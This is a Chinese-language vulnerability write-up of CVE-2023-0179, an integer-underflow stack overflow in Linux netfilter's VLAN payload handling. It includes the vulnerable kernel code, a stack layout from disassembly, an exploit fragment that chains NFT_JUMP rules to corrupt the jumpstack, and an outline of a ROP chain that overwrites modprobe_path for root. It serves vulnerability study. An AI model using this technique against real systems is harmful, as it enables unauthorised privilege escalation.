CVE-2023-0179 Linux内核提权

0x00 前言

2022年7月为天府杯准备的Linux提权漏洞,但是22年天府杯没办,23年1月被外国人报了。

思路来源于这篇文章,在看到这篇文章后决定去好好过一下netfilter相关模块。

文章链接:How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables

0x01 背景

该漏洞位于Linux内核中netfilter模块对vlan进行处理的相关代码中,由于整型溢出导致的栈溢出,最后是ROP修改modprobe_path路径完成提权,在Ubuntu下测试可以稳定触发,提权成功率百分之百。

0x02 漏洞成因,加还是减

下面是漏洞代码,处理vlan相关的部分代码。

/* add vlan header into the user buffer for if tag was removed by offloads */
static bool
nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
  int mac_off = skb_mac_header(skb) - skb->data;
  u8 *vlanh, *dst_u8 = (u8 *) d;
  struct vlan_ethhdr veth;
  u8 vlan_hlen = 0;

  if ((skb->protocol == htons(ETH_P_8021AD) ||
       skb->protocol == htons(ETH_P_8021Q)) &&
      offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
    vlan_hlen += VLAN_HLEN;

  vlanh = (u8 *) &veth;
  if (offset < VLAN_ETH_HLEN + vlan_hlen) {
    u8 ethlen = len;

    if (vlan_hlen &&
        skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
      return false;
    else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
      return false;

    if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
      ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;

    memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);

    len -= ethlen;
    if (len == 0)
      return true;

    dst_u8 += ethlen;
    offset = ETH_HLEN + vlan_hlen;
  } else {
    offset -= VLAN_HLEN + vlan_hlen;
  }

  return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
}

这一段代码好像有点问题?整数溢出!!!

if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
      ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;

在判断if (offset + len > VLAN_ETH_HLEN + vlan_hlen)后,应该用offset + len减去VLAN_ETH_HLEN + vlan_hlen,很明显代码中少了括号运算,修复补丁也是简单的将+改为-。

offset + len - (VLAN_ETH_HLEN + vlan_hlen)

=>

offset + len - VLAN_ETH_HLEN - vlan_hlen

栈溢出!!!

memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);

dst_u8(rdi)指向上层调用函数的regs栈上变量,vlanh(rsi)指向veth栈上变量,ethlen(rcx << 3)在整数溢出后会变为一个较大值。

0x03 漏洞利用

条件一:需要CAP_NET_ADMIN权限

static void nfnetlink_rcv(struct sk_buff *skb)
{
        struct nlmsghdr *nlh = nlmsg_hdr(skb);

        if (skb->len < NLMSG_HDRLEN ||
            nlh->nlmsg_len < NLMSG_HDRLEN ||
            skb->len < nlh->nlmsg_len)
                return;

        if (!netlink_net_capable(skb, CAP_NET_ADMIN)) {
                netlink_ack(skb, nlh, -EPERM, NULL);
                return;
        }

        if (nlh->nlmsg_type == NFNL_MSG_BATCH_BEGIN)
                nfnetlink_rcv_skb_batch(skb, nlh);
        else
                netlink_rcv_skb(skb, nfnetlink_rcv_msg);
}

bool netlink_net_capable(const struct sk_buff *skb, int cap)
{
  return netlink_ns_capable(skb, sock_net(skb->sk)->user_ns, cap);
}

命令空间

Linux下默认的根命令空间是init_user_ns,如果CONFIG_USER_NS和CONFIG_NET_NS配置选项开启,用户便可以创建自己的命令空间,并且在该用户命令空间中获得所有权限。所以可以通过创建新的命令空间以满足上述CAP_NET_ADMIN权限检查。

条件二:溢出的长度不足

ethlen的类型是u8,那么最大值为0xff,很明显不足以覆盖返回地址,regs变量后跟着nft_jumpstack结构体数组,长度为16,大小为256字节。

#define NFT_JUMP_STACK_SIZE  16

struct nft_jumpstack {
  const struct nft_chain  *chain;
  struct nft_rule  *const *rules;
};

unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
  const struct nft_chain *chain = priv, *basechain = chain;
  const struct net *net = nft_net(pkt);
  struct nft_rule *const *rules;
  const struct nft_rule *rule;
  const struct nft_expr *expr, *last;
  struct nft_regs regs;
  unsigned int stackptr = 0;
  struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
  bool genbit = READ_ONCE(net->nft.gencursor);
  struct nft_traceinfo info;

......
ida反汇编结果

__int64 __fastcall nft_do_chain(
        __int64 *a1,
        struct nft_regs *a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        char a7,
        int a8,
        __int16 a9)
{
  ......
  struct nft_regs regs; // [rsp+60h] [rbp-190h] BYREF
  struct nft_jumpstack v51[16]; // [rsp+B0h] [rbp-140h] BYREF
  unsigned __int64 canary; // [rsp+1B8h] [rbp-38h]
  __int64 v53; // [rsp+1C0h] [rbp-30h]
  __int64 v54; // [rsp+1C8h] [rbp-28h]
  __int64 v55; // [rsp+1D0h] [rbp-20h]
  __int64 v56; // [rsp+1D8h] [rbp-18h]
  __int64 v57; // [rsp+1E0h] [rbp-10h]
  __int64 v58; // [rsp+1E8h] [rbp-8h]

通过利用改写nft_jumpstack结构体,扩大越界读写范围。

unsigned int
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_traceinfo info;

info.trace = false;
if (static_branch_unlikely(&nft_trace_enabled))
nft_trace_init(&info, pkt, &regs.verdict, basechain);
do_chain:
if (genbit)
rules = rcu_dereference(chain->rules_gen_1);
else
rules = rcu_dereference(chain->rules_gen_0);

next_rule:
rule = *rules;
regs.verdict.code = NFT_CONTINUE;
for (; *rules ; rules++) {
rule = *rules;
nft_rule_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, &regs);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, &regs);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, &regs, pkt))
expr_call_ops_eval(expr, &regs, pkt);

if (regs.verdict.code != NFT_CONTINUE)
break;
}

switch (regs.verdict.code) {
case NFT_BREAK:
regs.verdict.code = NFT_CONTINUE;
continue;
case NFT_CONTINUE:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
continue;
}
break;
}

switch (regs.verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
case NF_STOLEN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
return regs.verdict.code;
}

switch (regs.verdict.code) {
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rules = rules + 1;
stackptr++;
fallthrough;
case NFT_GOTO:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);

chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE:
case NFT_RETURN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RETURN);
break;
default:
WARN_ON(1);
}

if (stackptr > 0) {
stackptr--;
chain = jumpstack[stackptr].chain;
rules = jumpstack[stackptr].rules;
goto next_rule;
}

通过增加多个verdict.code为NFT_JUMP的规则,在规则执行后就会填充jumpstack数组,并在最后一个规则触发越界写,修改jumpstack数组,控制其中的rules指针,后续覆盖返回地址,做ROP即可。

struct unft_base_chain_param bp;
    bp.hook_num = NF_INET_PRE_ROUTING;
    bp.prio = 10;

    for (int i = 0; i < exp_chain_num; i++)
    {
        sprintf(exp_chain_name, "%s%d", "exp_chain", i);
        void *p = NULL;
        if (!i)
             p = &bp;
        if (create_chain(nl, table_name, exp_chain_name, NFPROTO_BRIDGE, p, &seq, NULL))
        {
            perror("Failed creating exp chain");
            exit(EXIT_FAILURE);
        }

    }

    for (int i = 0; i < exp_chain_num; i++)
    {
        sprintf(exp_chain_name, "%s%d", "exp_chain", i);
        sprintf(exp_chain_name_next, "%s%d", "exp_chain", i+1);

        struct nftnl_rule* r = build_rule(table_name, exp_chain_name, NFPROTO_BRIDGE, NULL);

        if (!i){
            rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 0x16, 0x40, 1, 0);
            char *cmp_str = MAGIC;
            rule_add_cmp(r, NFT_CMP_EQ, 1, cmp_str, 6);

            uint64_t stack_value = (stack << 16) | 0xffff;
            rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 20, 0x40, 1, 0);
            rule_add_cmp(r, NFT_CMP_EQ, 12, &stack_value, 8);
        }
        if (i == exp_chain_num - 1)
            rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 20, 0x40, 1, 0); // trigger
        else
            rule_add_immediate_verdict(r, NFT_JUMP, exp_chain_name_next);

        err = send_batch_request(
                nl,
                NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
                NLM_F_CREATE, NFPROTO_BRIDGE, (void**)&r, &seq,
                NULL
                );
        if (err) {
            puts(CLR_RED "[-] Set exp chain rule failed" CLR_RESET);
            perror("");
            exit(EXIT_FAILURE);
        }
    }

条件三:触发漏洞时内核上下文不确定

在recv接收数据时触发漏洞,所以不确定是在哪一个内核上下文中,栈溢出后也不能直接返回用户态。

不过多破坏栈上数据,在有限的栈空间内修改modprobe_path(在运行非ELF格式的二进制时,会以root权限调用该脚本)指向我们可控的脚本,最后调整rsp为上一层未破坏的栈帧,正常返回。

0x04 总结

netfilter子系统是一个相当复杂的系统,借助此文介绍了CVE-2023-0179的漏洞成因和漏洞利用过程中的一些注意点,希望能起到抛砖引玉的效果。